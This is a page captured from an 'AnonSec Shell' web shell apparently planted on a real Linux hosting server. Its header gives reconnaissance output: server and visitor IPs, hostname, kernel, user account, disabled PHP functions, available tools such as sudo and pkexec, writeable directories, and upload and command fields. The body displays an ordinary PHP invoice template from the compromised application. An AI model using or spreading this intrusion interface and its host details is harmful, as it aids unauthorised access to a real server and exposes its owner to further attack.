AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/team/application/views/backend/staff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/team/application/views/backend/staff/project_milestone_view.php
<?php
$milestone_details = $this->db->get_where('project_milestone', array('project_milestone_id' => $param2))->result_array();
foreach ($milestone_details as $row):
?>
<center>
    <a onClick="PrintElem('#invoice_print')" class="btn btn-default btn-icon icon-left hidden-print pull-right">
        Print
        <i class="entypo-print"></i>
    </a>

    <?php echo form_open(base_url() . 'index.php?admin/email_milestone_invoice/' . $row['project_milestone_id'],    array('class' => ' invoice-send pull-right', 'style' => 'margin:0px 5px;' ));?>
                
         <span id="preloader-form"></span>
        <input type="hidden" name="invoice_body" id="invoice_to_send" value="">
        <button type="submit" class="btn btn-default btn-icon icon-left" id="submit-button">
            <i class="entypo-rocket"></i>Email Invoice
        </button> 
    <?php echo form_close();?>
</center>

    <br><br>

    <div id="invoice_print">
        <table width="100%" border="0">
            <tr>
                <td width="50%"><img src="assets/images/logo.png" style="max-height:80px;"></td>
                <td align="right">
                    <h4><?php echo get_phrase('code'); ?> : <?php echo $row['project_code']; ?></h4>
                    <h5><?php echo get_phrase('date'); ?> : <?php echo date("d/m/Y" , $row['timestamp']); ?></h5>
                    <h5><?php echo get_phrase('status'); ?> : 
                        <?php 
                            if ($row['status'] == 0) echo get_phrase('unpaid');
                            else if ($row['status'] == 1) echo get_phrase('paid');
                        ?> 
                    </h5>
                </td>
            </tr>
        </table>
        <hr>
        <table width="100%" border="0">    
            <tr>
                <td align="left"><h4><?php echo get_phrase('payment_to'); ?> </h4></td>
                <td align="right"><h4><?php echo get_phrase('bill_to'); ?> </h4></td>
            </tr>

            <tr>
                <td align="left" valign="top">
                    <?php echo $this->db->get_where('settings', array('type' => 'system_name'))->row()->description; ?><br>
                    <?php echo $this->db->get_where('settings', array('type' => 'address'))->row()->description; ?><br>
                    <?php echo $this->db->get_where('settings', array('type' => 'phone'))->row()->description; ?><br>            
                </td>
                <td align="right" valign="top">
                    <?php 
                        if ($row['company_id'] > 0)
                            echo $this->db->get_where('company' , array('company_id' => $row['company_id']))->row()->name . '<br>';
                    ?>
                    <?php echo $this->db->get_where('client', array('client_id' => $row['client_id']))->row()->name; ?><br>
                    <?php echo $this->db->get_where('client', array('client_id' => $row['client_id']))->row()->address; ?><br>
                    <?php echo $this->db->get_where('client', array('client_id' => $row['client_id']))->row()->phone; ?><br>
                </td>
            </tr>
        </table>
        <hr>
        <div class="alert alert-default">
            <strong><?php echo get_phrase('project_name');?></strong> :
            <?php echo $this->db->get_where('project' , array('project_code' =>$row['project_code']))->row()->title;?>
        </div>

        <h4><?php echo get_phrase('milestone'); ?></h4>
        <table class="table table-bordered" width="100%" border="1" style="border-collapse:collapse;">
            <thead>
                <tr>
                    <th width="60%"><?php echo get_phrase('title'); ?></th>
                    <th><?php echo get_phrase('amount'); ?></th>
                </tr>
            </thead>

            <tbody>
                <tr>
                    <td>
                        <?php echo $row['title'];?>
                    </td>
                    <td class="text-right">
                        <?php
                        $system_currency_id = $this->db->get_where('settings' , array('type' => 'system_currency_id'))->row()->description;
                        $currency = $this->db->get_where('currency' , array('currency_id' => $system_currency_id))->row()->currency_symbol;
                        echo $currency . $row['amount'];
                        ?>
                    </td>
                </tr>
            </tbody>
        </table>
        <table width="100%" border="0">    
            
            <tr>
                <td colspan="2"><hr style="margin:0px;"></td>
            </tr>
            <tr>
                <td align="right" width="80%"><h4><?php echo get_phrase('grand_total'); ?> :</h4></td>
                <td align="right"><h4><?php echo $currency . $row['amount']; ?> </h4></td>
            </tr>
        </table>

    </div>
<?php endforeach; ?>

<script>
    $(document).ready(function() { 
    
        var options = { 
            beforeSubmit        :   validate_invoice,  
            success             :   show_response_invoice_send,  
            resetForm           :   false 
        }; 
        $('.invoice-send').submit(function() { 
            $(this).ajaxSubmit(options); 
            return false; 
        }); 
    }); 
    function validate_invoice(formData, jqForm, options) { 
        $('#preloader-form').html('<img src="assets/images/preloader.gif" style="height:15px;margin-left:20px;" />');
        document.getElementById("invoice_to_send").value = $('#invoice_print').html();
        document.getElementById("submit-button").disabled=true;
    }
    
    function show_response_invoice_send(responseText, statusText, xhr, $form)  { 
        $('#preloader-form').html('');
        toastr.success("Invoice sent to client!", "Success");
        document.getElementById("submit-button").disabled=false;
    }
    
</script>
<script type="text/javascript">

    // print invoice function
    function PrintElem(elem)
    {
        Popup($(elem).html());
    }

    function Popup(data)
    {
        var mywindow = window.open('', 'invoice', 'height=400,width=600');
        mywindow.document.write('<html><head><title>Invoice</title>');
        mywindow.document.write('<link rel="stylesheet" href="assets/css/neon-theme.css" type="text/css" />');
        mywindow.document.write('<link rel="stylesheet" href="assets/js/datatables/responsive/css/datatables.responsive.css" type="text/css" />');
        mywindow.document.write('</head><body >');
        mywindow.document.write(data);
        mywindow.document.write('</body></html>');

        mywindow.print();
        mywindow.close();

        return true;
    }

</script>

Anon7 - 2022
AnonSec Team